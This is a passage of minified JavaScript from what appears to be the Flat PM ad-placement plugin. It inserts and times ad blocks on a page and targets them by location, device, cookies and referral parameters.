e[i].id},dataBrowser:[{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]},window.fpm_offsetTop_with_exeptions=function(e,t){return(e=e||"",t=t||"",window.exeptions_offsetTop=window.exeptions_offsetTop||[],window.exeptions_offsetTop[e])?window.exeptions_offsetTop[e]:(window.exeptions_offsetTop[e]=fpm_user.until.map(function(r){var n=Array.from(r.querySelectorAll("*")),i=[];return""!=e&&(i=fpm_queryAll(e,t,"false"),n=n.filter(function(e){return!i.includes(e)})),[r,n]}).flat(1/0).map(function(e){return{el:e,offset:Math.round(e.getBoundingClientRect().top-fpm_user.fpm_start.getBoundingClientRect().top)}}),window.exeptions_offsetTop[e])},window.fpm_textLength_with_exeptions=function(e,t){if(e=e||"",t=t||"",window.exeptions_textLength=window.exeptions_textLength||[],window.exeptions_textLength[e])return window.exeptions_textLength[e];var r=0;return window.exeptions_textLength[e]=fpm_user.until.map(function(n){if("SCRIPT"==n.tagName)return[];var i=Array.from(n.querySelectorAll("*")),o=[];""!=e&&(o=fpm_queryAll(e,t,"false"),i=i.filter(function(e){return!o.includes(e)}));var l=0,s=n.outerText.replace(/(\s)+/g,"").length;return 0<i.length&&i.forEach(function(e){if(void 0===e.outerText||"SCRIPT"==e.tagName)return void(e.fpm_textLength=r);var t=e.outerText.replace(/(\s)+/g,"").length;l+=t,r+=t,e.fpm_textLength=r}),r+=s-l,n.fpm_textLength=r,[n,i]}).flat(1/0),window.exeptions_textLength[e]},fpm_getUrlParams().utm_referrer!==void 0&&(fpm_setCookie("fpm_referer",fpm_getUrlParams().utm_referrer),fpm_user.referer=fpm_getUrlParams().utm_referrer),window.fpm_async_then=function(e){var t=fpm_then[e].length;if(0==t)return void(fpm_then[e]=[]);for(var r,n=0;n<t;n++)r=fpm_then[e][n],fpm_next(r)},window.flatPM_persentWrapper=function(e,t){var r=0,n=!1;return e.forEach(function(e){var i=e.outerText.replace(/(\s)+/g,"");r<t&&(r+=i.length,n=e)}),n},window.fpm_textLength_between=function(e,t,r){var n=e,i=0,o=e.outerText.length,l="data-"+fpm_attr.id;r=r||!1,r&&(i=e.outerText.length,o=0);skip_before:do{for(var s=e;null!==s.previousElementSibling;){if(s=s.previousElementSibling,s.hasAttribute(l))break skip_before;if(s.previousElementSibling===fpm_user.fpm_start){i=1e8;break skip_before}var a=s.querySelectorAll("[data-"+fpm_attr.id+"]");if(0<a.length){a=a[a.length-1];do{for(;null!==a.nextElementSibling;)a=a.nextElementSibling,i+=a.outerText.length;a=a.parentNode}while(a!==s);break}if(i+=s.outerText.length,i>=t)break skip_before}e=e.parentNode}while(e!==fpm_user.fpm_start.parentNode);e=n;skip_after:do{for(var s=e;null!==s.nextElementSibling;){if(s=s.nextElementSibling,s.hasAttribute(l))break skip_after;if(s.nextElementSibling===fpm_user.fpm_end){o=1e8;break skip_after}var a=s.querySelectorAll("[data-"+fpm_attr.id+"]");if(0<a.length){a=a[0];do{for(;null!==a.previousElementSibling;)a=a.previousElementSibling,o+=a.outerText.length;a=a.parentNode}while(a!==s);break}if(o+=s.outerText.length,o>=t)break skip_after}e=e.parentNode}while(e!==fpm_user.fpm_start.parentNode);return i>=t&&o>=t},window.fpm_interscroller_resize=function(){document.querySelectorAll("."+fpm_attr.interscroller+"-inner").forEach(function(e){e.style.setProperty("--width",e.parentNode.getBoundingClientRect().width+"px")})},window.addEventListener("resize",fpm_interscroller_resize),window.fpm_getScrollbarWidth=function(){var e=document.createElement("div");e.style.visibility="hidden",e.style.overflow="scroll",e.style.msOverflowStyle="scrollbar",document.body.appendChild(e);var t=document.createElement("div");e.appendChild(t);var r=e.offsetWidth-t.offsetWidth;return e.parentNode.removeChild(e),r},window.fpm_interscrollerObserver=function(e,t){function r(){return 85<100/window.innerHeight*e.getBoundingClientRect().height?e.getBoundingClientRect().bottom-document.querySelector("html").getBoundingClientRect().top-window.innerHeight:e.getBoundingClientRect().bottom-document.querySelector("html").getBoundingClientRect().top+(window.innerHeight-e.getBoundingClientRect().height)/2-window.innerHeight}t=t||3;var n=parseInt(window.getComputedStyle(document.body,null).getPropertyValue("padding-right")),i=e.querySelectorAll("span.timer");document.body.style.overflow="hidden",document.body.style.paddingRight=n+fpm_getScrollbarWidth()+"px",window.scrollTo({top:r(),left
492:0,behavior:"smooth"});var o=setInterval(function(){window.scrollTo({top:r(),left:0,behavior:"smooth"})},100);var l=setInterval(function(){t--,i.forEach(function(e){e.innerHTML=t}),0>=t&&(document.body.style.overflow="auto",document.body.style.paddingRight=n+"px",i.forEach(function(e){e.remove()}),clearInterval(o),clearInterval(l))},1e3)},window.fpm_render_pixel_ads=function(e,t){t.xpath=t.xpath||"";var r,n,o,s=fpm_user.fpm_end.getBoundingClientRect().top-fpm_user.fpm_start.getBoundingClientRect().top,a=fpm_offsetTop_with_exeptions(t.exclude,t.xpath);if(t.n=t.n&&0!=t.n?t.n:1,["percent_once","px_once","center"].includes(t.type)){"percent_once"===t.type&&(o=Math.round(window.innerHeight/100*t.n)),"px_once"===t.type&&(o=1*t.n),"center"===t.type&&(o=s/2);var d=s+200;if(d>o){var p=[...a].sort((e,t)=>Math.abs(o-e.offset)-Math.abs(o-t.offset));r=a.find(function(e){return e.offset===p[0].offset}).el,t.m?(t.m=1*t.m,fpm_textLength_between(r,t.m)&&r.insertAdjacentElement("beforebegin",e)):r.insertAdjacentElement("beforebegin",e)}}if(["percent_iterable","px_iterable"].includes(t.type)){"percent_iterable"===t.type&&(o=Math.round(window.innerHeight/100*t.n),n=t.start?Math.round(window.innerHeight/100*t.start):o),"px_iterable"===t.type&&(o=1*t.n,n=t.start?1*t.start:o);var d=s+200;if(d>o){var c=d;t.max&&(c=Math.min(d,o*t.max+n));for(var p,f=n;f<c;)p=[...a].sort((e,t)=>Math.abs(f-e.offset)-Math.abs(f-t.offset)),r=a.find(function(e){return e.offset===p[0].offset}).el,t.m?(t.m=1*t.m,fpm_textLength_between(r,t.m)&&r.insertAdjacentElement("beforebegin",e.cloneNode())):r.insertAdjacentElement("beforebegin",e.cloneNode()),f+=o}}},window.fpm_cross_timer=function(t,r,n){var i=null!==n.querySelector("."+fpm_attr.cross),o=null!==n.querySelector("."+fpm_attr.timer);if("true"===r.cross){var l=document.createElement("div");l.classList.add(fpm_attr.cross),l.addEventListener("click",function(i){i.preventDefault(),fpm_close_event(t,r,n),n.classList.add(fpm_attr.hide),fpm_setCookie("fpm_outgoing_"+t.id,"true")})}r.timeout=parseInt(r.timeout)||0;var s=r.cross_offset&&"true"===r.cross_offset?n.firstChild:n;if("true"===r.timer&&0<r.timeout){var a=document.createElement("div");a.classList.add(fpm_attr.timer),a.innerHTML=fpm_settings.timer_text+" <span>"+r.timeout+"</span>";var d=a.querySelector("span");o||s.appendChild(a);var p=setInterval(function(){d.innerHTML=--r.timeout,0>=r.timeout&&(clearInterval(p),a.remove(),"true"===r.cross?!i&&s.appendChild(l):(fpm_close_event(t,r,n),n.classList.add(fpm_attr.hide)))},1e3)}else"true"!==r.cross||i||s.appendChild(l)},window.fpm_close_event=function(e,t,r){r.classList.remove(fpm_attr.show),r.classList.contains("center")||setTimeout(function(){r.remove()},1*fpm_settings.speed+100),t.again&&"true"===t.again&&(window.fpm_outgoing_counter=window.fpm_outgoing_counter||[],window.fpm_outgoing_counter[e.id]=window.fpm_outgoing_counter[e.id]||0,(!t.count||window.fpm_outgoing_counter[e.id]<t.count)&&setTimeout(function(){delete e.view.pixels,delete e.view.symbols,delete e.view.once,delete e.view.iterable,delete e.view.preroll,delete e.view.hoverroll,fpm_setWrap(e,!0),fpm_next(e)},t.interval?1e3*t.interval:0),window.fpm_outgoing_counter[e.id]++)},window.fpm_setWrap=function(t,r){r=r||!1;try{if(!r){var n=[],o=t.html.block,s=0,a=[];for(var d in o)if((!o[d].minwidth||o[d].minwidth<=fpm_user.winwidth)&&(!o[d].maxwidth||o[d].maxwidth>=fpm_user.winwidth)){o[d].abgroup||(o[d].abgroup="0"),n[o[d].abgroup]||(n[o[d].abgroup]=[]);var p=fpm_user.adb?""===o[d].adb.code&&("true"===fpm_settings.dublicate||"footer"===t.id||"header"===t.id)?o[d].html:o[d].adb:o[d].html;for(var c in fpm_base64test.test(p.code)&&(p.code=decodeURIComponent(escape(atob(p.code)))),p.code=p.code.trim(),fpm_attr){var f=new RegExp("fpm-"+c,"g");fpm_modul_text=fpm_modul_text.replace(f,fpm_attr[c])}p.code&&n[o[d].abgroup].push(p)}for(var u in n)0==n[u].length&&delete n[u];if(0==Object.keys(n).length)return void fpm_debug(t.id,"screen resolution");for(var u in delete t.html.block,n)if("0"==u)for(var m in n[u])n[u][m].minheight&&(s+=1*n[u][m].minheight);else a[u]=fpm_randomProperty(n[u]),s+=1*n[u][a[u]].minheight;t.html.groups=n,t.html.start=a}var h=document.createElement("div");(t.user.geo||t.user.ip||t.user.isp)&&h.classList.add(fpm_attr.async),h.setAttribute("data-"+fpm_attr.id,t.id),h.setAttribute("data-"+fpm_attr.status,"processing"),h.style.minHeight=s+"px";var g=t.view.pixels;if(g&&null!==fpm_user.fpm_end&&null!==fpm_user.fpm_start){var b=h.cloneNode();b.setAttribute("data-"+fpm_attr.type,"pixels"),"processing"==document.readyState?document.addEventListener("load",function(){fpm_then.load.push(t),fpm_render_pixel_ads(b,g),fpm_async_then("load")}):fpm_render_pixel_ads(b,g)}var y=t.view.symbols;if(y&&null!==fpm_user.fpm_end&&null!==fpm_user.fpm_start){var b=h.cloneNode();b.setAttribute("data-"+fpm_attr.type,"symbols"),y.xpath=y.xpath||"";var _,a,w,v=fpm_textLength_with_exeptions(y.exclude,y.xpath);if(y.n=y.n&&0!=y.n?y.n:1,["percent_once","symbol_once","center"].includes(y.type)){"percent_once"===y.type&&(w=Math.round(fpm_user.textlen/100*y.n)),"symbol_once"===y.type&&(w=1*y.n),"center"===y.type&&(w=fpm_user.textlen/2);var E=fpm_user.textlen+100;if(E>w){var L=[...v].sort((e,t)=>
492Math.abs(w-e.fpm_textLength)-Math.abs(w-t.fpm_textLength));_=v.find(function(e){return e.fpm_textLength===L[0].fpm_textLength}),y.m?(y.m=1*y.m,fpm_textLength_between(_,y.m,!0)&&_.insertAdjacentElement("afterend",b)):_.insertAdjacentElement("afterend",b)}else fpm_debug(t.id,"symbols offset")}if(["percent_iterable","symbol_iterable"].includes(y.type)){"percent_iterable"===y.type&&(w=Math.round(fpm_user.textlen/100*y.n),a=y.start?Math.round(fpm_user.textlen/100*y.start):w),"symbol_iterable"===y.type&&(w=1*y.n,a=y.start?1*y.start:w);var E=fpm_user.textlen+100;if(E>w){var C=E;y.max&&(C=Math.min(E,w*y.max+a));for(var L,e=a;e<C;)L=[...v].sort((t,r)=>Math.abs(e-t.fpm_textLength)-Math.abs(e-r.fpm_textLength)),_=v.find(function(e){return e.fpm_textLength===L[0].fpm_textLength}),y.m?(y.m=1*y.m,fpm_textLength_between(_,y.m,!0)&&_.insertAdjacentElement("afterend",b.cloneNode())):_.insertAdjacentElement("afterend",b.cloneNode()),e+=w}else fpm_debug(t.id,"symbols offset")}}var x=t.view.once;if(x){var b=h.cloneNode();b.setAttribute("data-"+fpm_attr.type,"once");var k=fpm_queryAll(x.selector,x.xpath,x.document);if(x.n=1*x.n||1,k.length>=x.n){"bottom"===x.derection&&k.reverse();var T="beforebegin";"prepend"===x.insert_type&&(T="afterbegin"),"append"===x.insert_type&&(T="beforeend"),"after"===x.insert_type&&(T="afterend"),k[x.n-1].insertAdjacentElement(T,b)}else fpm_debug(t.id,"once can't find element")}var S=t.view.iterable;if(S){var b=h.cloneNode();b.setAttribute("data-"+fpm_attr.type,"iterable");var k=fpm_queryAll(S.selector,S.xpath,S.document);if(S.n=1*S.n||1,S.start=1*S.start||S.n,k.length>=S.n+S.start-1){"bottom"===S.derection&&k.reverse();var T="beforebegin";"prepend"===S.insert_type&&(T="afterbegin"),"append"===S.insert_type&&(T="beforeend"),"after"===S.insert_type&&(T="afterend");var C=k.length;S.max&&(C=Math.min(k.length,S.n*S.max+S.start-S.n));for(var e=S.start-1;e<C;e++)0==(e+1-S.start+S.n)%S.n&&k[e].insertAdjacentElement(T,b.cloneNode())}else fpm_debug(t.id,"iterable can't find element")}var A=t.view.outgoing;A&&("true"===A.cookie||"true"!==fpm_getCookie("fpm_outgoing_"+t.id)?function(){var e=h.cloneNode();if(e.setAttribute("data-"+fpm_attr.type,"outgoing"),e.classList.add(A.side),"sec"==A.type)var r=function(){"true"===A.close&&(document.removeEventListener("visibilitychange",l),fpm_body.removeEventListener("mouseleave",l)),e.classList.add(fpm_attr.show),fpm_cross_timer(t,{...A},e),A.hide&&setTimeout(function(){fpm_close_event(t,A,e)},1e3*A.hide)},n=setTimeout(function(){r()},1e3*A.show);var i=function(){if(document.removeEventListener("scroll",o),"true"===A.close&&(document.removeEventListener("visibilitychange",l),fpm_body.removeEventListener("mouseleave",l)),e.classList.add(fpm_attr.show),fpm_cross_timer(t,{...A},e),A.hide){var r=function(){window.pageYOffset>A.hide&&(fpm_close_event(t,A,e),document.removeEventListener("scroll",r))};document.addEventListener("scroll",r)}};if(["px","vh","%"].includes(A.type)){var o=function(){("px"===A.type&&window.pageYOffset>A.show||"vh"===A.type&&window.pageYOffset>Math.round(window.innerHeight/100*A.show)||"%"===A.type&&window.pageYOffset>Math.round((fpm_body.scrollHeight-window.innerHeight)/100*A.show))&&i()};document.addEventListener("scroll",o)}if("true"===A.close){var l=function(t){("visibilitychange"===t.type&&document.hidden||"mouseleave"===t.type)&&(document.removeEventListener("visibilitychange",l),fpm_body.removeEventListener("mouseleave",l),"sec"==A.type&&(clearTimeout(n),r()),"px"==A.type&&i())};document.addEventListener("visibilitychange",l),fpm_body.addEventListener("mouseleave",l)}"true"===A.action&&A.selector&&fpm_on(fpm_body,"click",A.selector,function(){"true"===A.close&&(document.removeEventListener("visibilitychange",l),fpm_body.removeEventListener("mouseleave",l)),"sec"==A.type&&(clearTimeout(n),r()),"px"==A.type&&i()}),fpm_body.insertAdjacentElement("afterbegin",e)}():fpm_debug(t.id,"outgoing already displayed for this user"));var N=t.view.preroll;N&&function(){var e=fpm_queryAll(N.selector,N.xpath,"true");0<e.length?e.forEach(function(e){if(!e.classList.contains(fpm_attr.done)){e.classList.add(fpm_attr.done);var r=document.createElement("span"),n=r.cloneNode(),i=r.cloneNode(),o=r.cloneNode();r.classList.add(fpm_attr.preroll),(e.matches("iframe")||0<e.querySelectorAll("iframe").length)&&r.classList.add("hasIframe"),fpm_wrap(e,r),n.classList.add(fpm_attr.preroll+"_flex"),i.classList.add(fpm_attr.preroll+"_item"),o.classList.add(fpm_attr.preroll+"_hover"),i.appendChild(h.cloneNode()),n.appendChild(i),n.appendChild(o),r.appendChild(n);var l=function(r){r.preventDefault(),fpm_cross_timer(t,{...N},n),n.classList.add(fpm_attr.show),o.removeEventListener("click",l),"true"===N.once&&document.querySelectorAll("."+fpm_attr.preroll+"_flex:not(."+fpm_attr.show+")").forEach(function(e){e.remove()})};o.addEventListener("click",l)}}):fpm_debug(t.id,"preroll can't find element")}();var O=t.view.hoverroll;O&&function(){var e=fpm_queryAll(O.selector,O.xpath,"true");0<e.length?e.forEach(function(e){if(!e.classList.contains(fpm_attr.done)){e.classList.add(fpm_attr.done);var r=document.createElement("span"),n=r.cloneNode();r.classList.add(fpm_attr.hoverroll),fpm_wrap(e,r),n.classList.add(fpm_attr.hoverroll+"_item"),n.appendChild(h.cloneNode()),r.appendChild(n),"true"===O.cross&&fpm_cross_timer(t,{...O},n)}}):fpm_debug(t.id,"hoverroll can't find element")}();var M=document.querySelectorAll(".fpm-short-"+t.id);M.forEach(function(e){var t=h.cloneNode();t.setAttribute("data-"+fpm_attr.type,"shortcode"),e.insertAdjacentElement("beforebegin",t),e.remove()})}catch(t){console.warn(t)}},window.fpm_afterObserver=function(e,t){var r=t.getAttribute("data-"+fpm_attr.type),n=getComputedStyle(t,"").minHeight,o=!1;for(var l in e.groups){var s=e.groups[l];if("0"==l)for(var a in s)(function(){var e=s[a],r=document.createElement("div");r.classList.add(fpm_attr.inner),t.insertAdjacentElement("beforeend",r),e.timeout||e.autorefresh?(o=!0,setTimeout(function(){fpm_pre_setHTML(r,e.code),e.autorefresh&&"0"!==e.autorefresh&&setInterval(function(){r.innerHTML="",fpm_pre_setHTML(r,e.code)},1e3*e.autorefresh)}
492,e.timeout?1e3*e.timeout:0)):(fpm_pre_setHTML(r,e.code),fpm_contentsUnwrap(r))})();else(function(){var r=1*e.start[l],n=s,i=n.length,a=n[r],d=document.createElement("div"),p=a.timeout?1e3*a.timeout:0;d.classList.add(fpm_attr.inner),t.insertAdjacentElement("beforeend",d),a.timeout||a.autorefresh?(o=!0,setTimeout(function(){fpm_pre_setHTML(d,a.code),fpm_dynamicInterval(d,a,n,i,r)},a.timeout?1e3*a.timeout:0)):(fpm_pre_setHTML(d,a.code),fpm_contentsUnwrap(d))})()}!o&&["pixels","symbols","once","iterable"].includes(r)&&"0px"==n&&fpm_contentsUnwrap(t)},window.fpm_next=function(e){var t=fpm_queryAll("[data-"+fpm_attr.id+"=\""+e.id+"\"][data-"+fpm_attr.status+"=\"processing\"]");if(0!==t.length)try{var r=e.user.ip;if(r&&"false"===fpm_user.ip)return t.forEach(function(e){e.remove()}),void fpm_debug(e.id,"ip");var n=e.user.isp;if(n&&(n.allow=n.allow.filter(Boolean))&&(n.disallow=n.disallow.filter(Boolean))&&(0<n.allow.length&&-1==n.allow.findIndex(function(e){return-1!=fpm_user.isp.indexOf(e)})||0<n.disallow.length&&-1!=n.disallow.findIndex(function(e){return-1!=fpm_user.isp.indexOf(e)})))return t.forEach(function(e){e.remove()}),void fpm_debug(e.id,"isp");var i=e.user.geo;
492if(i&&(i.country.allow=i.country.allow.filter(Boolean))&&(i.country.disallow=i.country.disallow.filter(Boolean))&&(i.city.allow=i.city.allow.filter(Boolean))&&(i.city.disallow=i.city.disallow.filter(Boolean))&&(0<i.country.allow.length&&-1==i.country.allow.indexOf(fpm_user.country)&&-1==i.country.allow.indexOf(fpm_user.ccode)||0<i.country.disallow.length&&(-1!=i.country.disallow.indexOf(fpm_user.country)||-1!=i.country.disallow.indexOf(fpm_user.ccode))||0<i.city.allow.length&&-1==i.city.allow.indexOf(fpm_user.city)||0<i.city.disallow.length&&-1!=i.city.disallow.indexOf(fpm_user.city)))return t.forEach(function(e){e.remove()}),void fpm_debug(e.id,"geo");var o=e.html;t.forEach(function(t){if("true"===e.lazy&&"IntersectionObserver"in window&&"true"===fpm_settings.lazyload){var r=new IntersectionObserver(function(e){e.forEach(function(e){e.isIntersecting&&(fpm_afterObserver(o,t),r.unobserve(e.target))})},{rootMargin:(fpm_settings.threshold||300)+"px 0px"});r.observe(t)}else fpm_afterObserver(o,t)})}catch(t){console.warn(t)}},window.fpm_start=function(e){e=e||"false",fpm_user.init(),window.exeptions=[];var t=[];"true"===e?(t=fpm_arr.filter(function(t){return t.fast===e}),fpm_arr=fpm_arr.filter(function(t){return t.fast!==e})):(t=fpm_arr,fpm_arr=[],!fpm_user.debug&&console.log("Flat PM Debug-Mode: "+window.location.href+"?fpm-debug"));var r={},n=[];for(t.forEach(function(e,t){e.abgroup&&(r[e.abgroup]=r[e.abgroup]||[],r[e.abgroup].push({index:t})),e.folder&&-1===n.indexOf(e.folder)&&n.push(e.folder)}),Object.keys(r).forEach(function(e){r[e]=r[e][Math.floor(Math.random()*r[e].length)].index}),t=t.filter(function(e,t){return!e.abgroup||void 0===r[e.abgroup]||r[e.abgroup]===t}),0!==n.length&&(window.fpm_randFolder=window.fpm_randFolder||n[Math.floor(Math.random()*n.length)],t=t.filter(function(e){return!e.folder||e.folder===window.fpm_randFolder}));0<t.length;){var i=t.shift(),o=!1;fpm_user.debug&&console.log(i);var l=i.content.restriction;if(l&&(l.content_less&&l.content_less>fpm_user.textlen||l.content_more&&l.content_more<fpm_user.textlen||l.title_less&&l.title_less>fpm_user.titlelen||l.title_more&&l.title_more<fpm_user.titlelen)){fpm_debug(i.id,"content");continue}var s=i.user.time;if(s){var a=new Date(fpm_user.date+"T"+s.from+":00"),d=new Date(fpm_user.date+"T"+s.to+":00"),p=new Date(fpm_user.date+"T12:00:00"),c=new Date(fpm_user.date+"T"+fpm_user.time+":00");if(a>d&&d<p&&(d=fpm_addDays(d,1)),a>d&&d>p&&(a=fpm_addDays(a,-1)),a>c||d<c){fpm_debug(i.id,"time");continue}}var f=i.user.date;if(f){var a=new Date(f.from.split("-").reverse().join("-")+"T00:00:00"),d=new Date(f.to.split("-").reverse().join("-")+"T00:00:00"),c=new Date(fpm_user.date+"T00:00:00");if(a>c||d<c){fpm_debug(i.id,"date");continue}}var u=i.user.schedule;if(u){var m=JSON.parse(u.value);if(m=m.map(function(e){return("0".repeat(24)+parseInt(e,16).toString(2)).substr(-24).split("").map(function(e){return parseInt(e,10)})}),!m[fpm_dateUTCWeek][fpm_dateUTCHours]){fpm_debug(i.id,"schedule");continue}}var h=i.user["color-scheme"];if(h&&(0<h.allow.length&&-1==h.allow.indexOf(fpm_user.color_scheme.toLowerCase())||0<h.disallow.length&&-1!=h.disallow.indexOf(fpm_user.color_scheme.toLowerCase()))){fpm_debug(i.id,"Color-scheme");continue}var g=i.user.os;if(g&&(0<g.allow.length&&-1==g.allow.indexOf(fpm_user.os.toLowerCase())||0<g.disallow.length&&-1!=g.disallow.indexOf(fpm_user.os.toLowerCase()))){fpm_debug(i.id,"OS");continue}var b=i.user.cookies;if(b){var y=!1;if(b.allow){if(!fpm_user.testcook)continue;b.allow.forEach(function(e){var t=e.includes(">")&&">"||e.includes("<")&&"<"||e.includes("*")&&"*"||"=",r=e.split(t,2),n=r[0].trim(),i=r[1].trim()||!1,o=fpm_getCookie(n);if(y=!0,!1!==i){if(i.split("|").forEach(function(e){if(e=e.trim(),">"===t&&o&&o>parseInt(e)||"<"===t&&o&&o<parseInt(e)||"*"===t&&o&&o.includes(e)||"="===t&&o&&o==e)return y=!1,!1}),!1==y)return!1;}else if(o)return y=!1,!1})}if(b.disallow&&fpm_user.testcook&&b.disallow.forEach(function(e){var t=e.includes(">")&&">"||e.includes("<")&&"<"||e.includes("*")&&"*"||"=",r=e.split(t,2),n=r[0].trim(),i=r[1].trim()||!1,o=fpm_getCookie(n);if(!1!==i){if(i.split("|").forEach(function(e){if(e=e.trim(),">"===t&&o&&o>parseInt(e)||"<"===t&&o&&o<parseInt(e)||"*"===t&&o&&o.includes(e)||"="===t&&o&&o==e)return y=!0,!1}),!0==y)return!1;}else if(o)return y=!0,!1}),y){fpm_debug(i.id,"cookies");continue}}var _=i.user.role;if(_&&(0<_.allow.length&&-1==_.allow.indexOf(fpm_settings.role)||0<_.disallow.length&&-1!=_.disallow.indexOf(fpm_settings.role))){fpm_debug(i.id,"role");continue}var x=i.user.utm;if(x){var w=!1;if(void 0!==x.allow&&x.allow.forEach(function(e){var t=e.includes(">")&&">"||e.includes("<")&&"<"||e.includes("*")&&"*"||"=",r=e.split(t,2),n=r[0].trim(),i=r[1]&&r[1].trim()||!1,o=fpm_getUrlParams()[n];if(w=!0,!1!==i){if(i.split("|").forEach(function(e){if(e=e.trim(),">"===t&&o&&o>parseInt(e)||"<"===t&&o&&o<parseInt(e)||"*"===t&&o&&o.includes(e)||"="===t&&o&&o==e)return w=!1,!1}),!1==w)return!1;}else if(console.log("single"),o)return w=!1,!1}),void 0!==x.disallow&&x.disallow.forEach(function(e){var t=e.includes(">")&&">"||e.includes("<")&&"<"||e.includes("*")&&"*"||"=",r=e.split(t,2),n=r[0].trim(),i=r[1]&&r[1].trim()||!1,o=fpm_getUrlParams()[n];if(!1!==i){if(i.split("|").forEach(function(e){if(e=e.trim(),">"===t&&o&&o>parseInt(e)||"<"===t&&o&&o<parseInt(e)||"*"===t&&o&&o.includes(e)||"="===t&&o&&o==e)return w=!0,!1}),!0==w)return!1;}else if(o)return w=!0,!1}),w){fpm_debug(i.id,"UTM");continue}}var v=i.user.agent;
492if(v&&(v.allow=v.allow.filter(Boolean))&&(v.disallow=v.disallow.filter(Boolean))&&(0<v.allow.length&&-1==v.allow.findIndex(function(e){return-1!=fpm_user.agent.indexOf(e)})||0<v.disallow.length&&-1!=v.disallow.findIndex(function(e){return-1!=fpm_user.agent.indexOf(e)}))){fpm_debug(i.id,"user-agent");continue}var E=i.user.language;if(E&&(E.allow=E.allow.filter(Boolean))&&(E.disallow=E.disallow.filter(Boolean))&&(0<E.allow.length&&-1==E.allow.findIndex(function(e){return-1!=fpm_user.language.indexOf(e)})||0<E.disallow.length&&-1!=E.disallow.findIndex(function(e){return-1!=fpm_user.language.indexOf(e)}))){fpm_debug(i.id,"browser language");continue}var L=i.user.referer;L&&(L.allow=L.allow.filter(Boolean))&&(L.disallow=L.disallow.filter(Boolean))&&(0<L.allow.length&&-1==L.allow.findIndex(function(e){return-1!=fpm_user.referer.indexOf(e)})||0<L.disallow.length&&-1!=L.disallow.findIndex(function(e){return-1!=fpm_user.referer.indexOf(e)}))&&(fpm_debug(i.id,"referer"),o=!0);var C=i.user.browser;if(!o&&C&&(C.allow=C.allow.filter(
492Boolean))&&(C.disallow=C.disallow.filter(Boolean))&&(0<C.allow.length&&-1==C.allow.indexOf(fpm_user.browser.toLowerCase())||0<C.disallow.length&&-1!=C.disallow.indexOf(fpm_user.browser.toLowerCase()))){fpm_debug(i.id,"browser");continue}o&&C&&0<C.allow.length&&-1!=C.allow.indexOf(fpm_user.browser)&&(o=!1);var k=i.user.geo,T=i.user.ip,S=i.user.isp;if(!o&&(k||T||S)&&(!fpm_user.ccode||!fpm_user.country||!fpm_user.city||!fpm_user.ip||!fpm_user.isp)){fpm_then.ip_api.push(i),fpm_setWrap(i),fpm_body.classList.contains("fpm_geo")||(fpm_body.classList.add("fpm_geo"),fpm_request_ip_api());continue}o||(fpm_setWrap(i),fpm_next(i))}fpm_sticky_slider_sidebar_interscroller(fpm_body);var A=document.createElement("div");if(A.classList.add(fpm_attr.overlay),fpm_body.appendChild(A),fpm_on(fpm_body,"click","."+fpm_attr.cross+",."+fpm_attr.close_event,function(t){t.preventDefault();var e=this.closest("."+fpm_attr.show);e&&(e.classList.remove(fpm_attr.show),e.classList.add(fpm_attr.hide))}),"true"!==e){var N=function(){setTimeout(function(){document.querySelectorAll(".fpm_start").forEach(function(e){e.remove()})},2e3),document.removeEventListener("mousemove",N,!1),document.removeEventListener("touchmove",N,!1)};document.addEventListener("mousemove",N,!1),document.addEventListener("touchmove",N,!1)}"true"===window.fpm_settings.overlay&&A.addEventListener("click",function(t){t.preventDefault(),document.querySelectorAll("[data-"+fpm_attr.type+"=\"outgoing\"].center."+fpm_attr.show).forEach(function(e){e.classList.remove(fpm_attr.show)})}),fpm_ping()},window.fpm_sticky_slider_sidebar_interscroller=function(e){var t=e.closest("[data-"+fpm_attr.id+"]"),r=e.querySelectorAll(".flatPM_slider:first-child"),n=e.querySelectorAll(".flatPM_sticky"),i=e.querySelectorAll(".flatPM_sidebar:first-child"),o=e.querySelectorAll(".flatPM_skyscrapper:first-child"),l=e.querySelectorAll(".flatPM_feed:first-child"),s=e.querySelectorAll(".flatPM_Interscroller"),a=document.querySelector(fpm_settings.selector);if(t&&(0<n.length||0<i.length||0<s.length||0<l.length)&&t.classList.add("no-preloader"),r.forEach(function(e){function t(){r=setTimeout(function(){var e=o[d];e.classList.add(fpm_attr.hide),setTimeout(function(){e.classList.remove(fpm_attr.show),e.classList.remove(fpm_attr.hide)},1e3),d++,l<=d&&(d=0),o[d].classList.add(fpm_attr.show),p=parseInt(o[d].getAttribute("data-timer"))||10,t()},1e3*p)}var r,n=e.parentElement,o=n.querySelectorAll(".flatPM_slider"),l=o.length,s=document.createElement("div"),a=document.createElement("div"),d=0,p=parseInt(o[d].getAttribute("data-timer"))||10;s.classList.add(fpm_attr.timeline),a.classList.add(fpm_attr.slider),n.insertBefore(a,n.firstChild),o.forEach(function(e){e.classList.remove("flatPM_slider"),s.setAttribute("style","--duration: "+(parseInt(e.getAttribute("data-timer"))||10)+"s;"),e.appendChild(s.cloneNode()),a.appendChild(e)}),o[d].classList.add(fpm_attr.show),t(),a.addEventListener("mouseenter",function(){clearTimeout(r)}),a.addEventListener("mouseleave",function(){t()})}),s.forEach(function(e){var t=e.dataset,r=parseInt(t.lock),n=document.createElement("div"),i=document.createElement("div"),o=document.createElement("div");if(n.classList.add(fpm_attr.interscroller+"-wrapper"),i.classList.add(fpm_attr.interscroller),o.classList.add(fpm_attr.interscroller+"-inner"),e.parentNode.insertBefore(n,e),n.appendChild(i),i.appendChild(o),o.appendChild(e),n.style.setProperty("--height",t.wrapperHeight),i.style.setProperty("--background",t.background),t.textTop&&0<t.textTop.length){var l=document.createElement("div");l.classList.add(fpm_attr.interscroller+"-text","top"),l.style.setProperty("--background",t.textTopBackground),l.style.setProperty("--color",t.textTopColor),r&&0<r&&(t.textTop=t.textTop.replace(/{{timer}}/gm,"<span class=\"timer\">"+r+"</span>")),l.innerHTML=t.textTop,i.appendChild(l)}if(t.textBottom&&0<t.textBottom.length){var 